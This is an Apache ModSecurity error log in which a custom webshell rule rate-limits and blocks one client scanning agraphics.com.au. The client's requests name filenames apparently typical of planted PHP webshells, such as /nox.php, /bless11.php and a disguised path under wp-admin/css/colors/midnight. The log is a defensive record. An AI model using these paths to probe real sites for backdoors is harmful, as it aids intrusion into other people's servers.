[Wed Jan 21 01:09:27.386731 2026] [:error] [pid 17295:tid 17313] [client 20.230.68.0:13157] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aW-2x_ZJhGdrcqZICT_M4AAAAY8"]
[Wed Jan 21 01:09:27.888795 2026] [:error] [pid 17295:tid 17309] [client 20.230.68.0:13218] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aW-2x_ZJhGdrcqZICT_M4gAAAYs"]
[Wed Jan 21 01:09:28.395640 2026] [:error] [pid 54382:tid 54408] [client 20.230.68.0:13272] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aW-2yETJlZ9SJ6sBOEvnoQAAABc"]
[Wed Jan 21 01:09:29.359379 2026] [:error] [pid 17340:tid 17380] [client 20.230.68.0:13070] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aW-2yfAsOSYVgw_35t3ZEQAAAlg"]
[Wed Jan 21 01:09:31.920862 2026] [:error] [pid 17340:tid 17361] [client 20.230.68.0:13058] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aW-2y_AsOSYVgw_35t3ZFAAAAkU"]
[Wed Jan 21 01:09:34.371828 2026] [:error] [pid 17295:tid 17303] [client 20.230.68.0:13121] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aW-2zvZJhGdrcqZICT_M6wAAAYU"]
[Wed Jan 21 01:09:36.109849 2026] [:error] [pid 17295:tid 17313] [client 20.230.68.0:13143] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aW-20PZJhGdrcqZICT_M8gAAAY8"]
[Wed Jan 21 01:09:37.044206 2026] [:error] [pid 56360:tid 56371] [client 20.230.68.0:13126] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aW-20U1J8CD1rR-wXXuIQwAAAQk"]
[Wed Jan 21 01:09:38.161108 2026] [:error] [pid 17340:tid 17366] [client 20.230.68.0:13006] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aW-20vAsOSYVgw_35t3ZFQAAAko"]
[Wed Jan 21 01:09:38.868355 2026] [:error] [pid 17295:tid 17300] [client 20.230.68.0:13297] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aW-20vZJhGdrcqZICT_M9gAAAYI"]
[Wed Jan 21 01:09:39.747696 2026] [:error] [pid 54260:tid 54322] [client 20.230.68.0:12996] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aW-209g7jS3jmpUN0WBItQAAAU4"]
[Wed Jan 21 01:09:40.776359 2026] [:error] [pid 17340:tid 17360] [client 20.230.68.0:13111] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aW-21PAsOSYVgw_35t3ZFwAAAkQ"]
[Wed Jan 21 01:09:41.455116 2026] [:error] [pid 56326:tid 56329] [client 20.230.68.0:13081] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aW-21RA6mi8Uwf45Uy9hPAAAAME"]
[Wed Jan 21 01:09:42.095355 2026] [:error] [pid 54382:tid 54403] [client 20.230.68.0:13098] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aW-21kTJlZ9SJ6sBOEvnowAAABI"]
[Wed Jan 21 01:09:42.629236 2026] [:error] [pid 54260:tid 54321] [client 20.230.68.0:13084] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aW-21tg7jS3jmpUN0WBItgAAAU0"]
[Wed Jan 21 01:09:43.231330 2026] [:error] [pid 54260:tid 54335] [client 20.230.68.0:13138] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aW-219g7jS3jmpUN0WBItwAAAVg"]
[Wed Jan 21 01:09:43.820848 2026] [:error] [pid 54260:tid 54318] [client 20.230.68.0:13154] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aW-219g7jS3jmpUN0WBIuAAAAUo"]
[Wed Jan 21 01:09:44.586337 2026] [:error] [pid 54260:tid 54313] [client 20.230.68.0:13117] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aW-22Ng7jS3jmpUN0WBIuQAAAUU"]
[Wed Jan 21 01:09:45.336185 2026] [:error] [pid 56360:tid 56374] [client 20.230.68.0:13168] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aW-22U1J8CD1rR-wXXuIRAAAAQw"]
[Wed Jan 21 01:09:45.993900 2026] [:error] [pid 54260:tid 54317] [client 20.230.68.0:13071] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aW-22dg7jS3jmpUN0WBIuwAAAUk"]
[Wed Jan 21 01:09:46.561537 2026] [:error] [pid 17340:tid 17372] [client 20.230.68.0:12999] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aW-22vAsOSYVgw_35t3ZGAAAAlA"]
[Wed Jan 21 01:09:47.199681 2026] [:error] [pid 8455:tid 8462] [client 20.230.68.0:13146] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aW-224JiHdPVtruynXDhZQAAA0U"]
[Wed Jan 21 01:09:47.855701 2026] [:error] [pid 17295:tid 17307] [client 20.230.68.0:13065] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aW-22_ZJhGdrcqZICT_M_AAAAYk"]
[Wed Jan 21 01:09:48.777459 2026] [:error] [pid 17340:tid 17378] [client 20.230.68.0:13077] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aW-23PAsOSYVgw_35t3ZGQAAAlY"]
[Wed Jan 21 01:09:49.356217 2026] [:error] [pid 8455:tid 8463] [client 20.230.68.0:12994] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aW-23YJiHdPVtruynXDhZgAAA0Y"]
[Wed Jan 21 01:09:50.392240 2026] [:error] [pid 56360:tid 56372] [client 20.230.68.0:13147] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aW-23k1J8CD1rR-wXXuIRQAAAQo"]
[Wed Jan 21 01:09:50.938348 2026] [:error] [pid 54259:tid 54279] [client 20.230.68.0:13175] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aW-23g2q1USrePnOoFQhEAAAAII"]
[Wed Jan 21 01:09:51.709316 2026] [:error] [pid 17295:tid 17321] [client 20.230.68.0:13129] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aW-23_ZJhGdrcqZICT_M_QAAAZc"]
[Wed Jan 21 01:09:52.549284 2026] [:error] [pid 17295:tid 17299] [client 20.230.68.0:13192] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aW-24PZJhGdrcqZICT_M_gAAAYE"]
[Wed Jan 21 01:09:53.316309 2026] [:error] [pid 54382:tid 54406] [client 20.230.68.0:13005] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aW-24UTJlZ9SJ6sBOEvnpgAAABU"]
[Wed Jan 21 01:09:53.973759 2026] [:error] [pid 54382:tid 54404] [client 20.230.68.0:13064] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aW-24UTJlZ9SJ6sBOEvnpwAAABM"]
[Wed Jan 21 01:09:54.618093 2026] [:error] [pid 54382:tid 54396] [client 20.230.68.0:13079] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aW-24kTJlZ9SJ6sBOEvnqQAAAAs"]
[Wed Jan 21 01:09:55.128656 2026] [:error] [pid 54382:tid 54388] [client 20.230.68.0:13001] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aW-240TJlZ9SJ6sBOEvnqgAAAAM"]
[Wed Jan 21 01:09:55.637267 2026] [:error] [pid 56291:tid 56317] [client 20.230.68.0:13174] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aW-247XgW_1T5Nikxa0ergAAAFY"]
[Wed Jan 21 01:09:56.128839 2026] [:error] [pid 8455:tid 8477] [client 20.230.68.0:13158] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aW-25IJiHdPVtruynXDhZwAAA1Q"]
[Wed Jan 21 01:09:56.975839 2026] [:error] [pid 56360:tid 56375] [client 20.230.68.0:13309] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aW-25E1J8CD1rR-wXXuIRwAAAQ0"]
[Wed Jan 21 01:09:57.429626 2026] [:error] [pid 54260:tid 54323] [client 20.230.68.0:13191] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aW-25dg7jS3jmpUN0WBIwgAAAU8"]
[Wed Jan 21 01:09:58.157401 2026] [:error] [pid 17295:tid 17320] [client 20.230.68.0:13131] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aW-25vZJhGdrcqZICT_NAQAAAZY"]
[Wed Jan 21 01:09:58.768869 2026] [:error] [pid 17295:tid 17300] [client 20.230.68.0:18269] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aW-25vZJhGdrcqZICT_NBQAAAYI"]
[Wed Jan 21 01:09:59.375271 2026] [:error] [pid 54260:tid 54314] [client 20.230.68.0:13086] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aW-259g7jS3jmpUN0WBIxQAAAUY"]
[Wed Jan 21 01:10:00.014485 2026] [:error] [pid 17295:tid 17303] [client 20.230.68.0:13078] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aW-26PZJhGdrcqZICT_NCAAAAYU"]
[Wed Jan 21 01:10:00.713710 2026] [:error] [pid 56291:tid 56311] [client 20.230.68.0:13162] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aW-26LXgW_1T5Nikxa0erwAAAFA"]
[Wed Jan 21 01:10:01.290676 2026] [:error] [pid 54382:tid 54398] [client 20.230.68.0:13027] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aW-26UTJlZ9SJ6sBOEvnqwAAAA0"]
[Wed Jan 21 01:10:01.821261 2026] [:error] [pid 54259:tid 54288] [client 20.230.68.0:13285] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aW-26Q2q1USrePnOoFQhEQAAAIs"]
[Wed Jan 21 01:10:02.342509 2026] [:error] [pid 63647:tid 63666] [client 20.230.68.0:13125] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aW-26lUaYw1xHOoaFFJCmwAAAhE"]
[Wed Jan 21 01:10:02.961262 2026] [:error] [pid 56360:tid 56379] [client 20.230.68.0:13233] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aW-26k1J8CD1rR-wXXuISgAAARE"]
[Wed Jan 21 01:10:03.392562 2026] [:error] [pid 8455:tid 8465] [client 20.230.68.0:13097] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW-264JiHdPVtruynXDhaAAAA0g"]
[Wed Jan 21 01:10:03.879868 2026] [:error] [pid 8455:tid 8469] [client 20.230.68.0:13011] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW-264JiHdPVtruynXDhaQAAA0w"]
[Wed Jan 21 01:10:04.370944 2026] [:error] [pid 8455:tid 8474] [client 20.230.68.0:12943] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW-27IJiHdPVtruynXDhagAAA1E"]
[Wed Jan 21 01:10:05.049093 2026] [:error] [pid 54382:tid 54385] [client 20.230.68.0:13105] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aW-27UTJlZ9SJ6sBOEvnrQAAAAA"]
[Wed Jan 21 01:10:05.593055 2026] [:error] [pid 56291:tid 56316] [client 20.230.68.0:13028] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aW-27bXgW_1T5Nikxa0esQAAAFU"]
[Wed Jan 21 01:10:06.193679 2026] [:error] [pid 8455:tid 8473] [client 20.230.68.0:13103] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aW-27oJiHdPVtruynXDhbQAAA1A"]
[Wed Jan 21 01:10:06.702478 2026] [:error] [pid 56360:tid 56384] [client 20.230.68.0:12944] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aW-27k1J8CD1rR-wXXuITgAAARY"]
[Wed Jan 21 01:10:07.314193 2026] [:error] [pid 17295:tid 17321] [client 20.230.68.0:13062] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aW-27_ZJhGdrcqZICT_NCgAAAZc"]
[Wed Jan 21 01:10:07.790601 2026] [:error] [pid 56326:tid 56334] [client 20.230.68.0:12939] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aW-27xA6mi8Uwf45Uy9hSAAAAMY"]
[Wed Jan 21 01:10:08.280452 2026] [:error] [pid 56326:tid 56331] [client 20.230.68.0:13311] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aW-28BA6mi8Uwf45Uy9hSQAAAMM"]
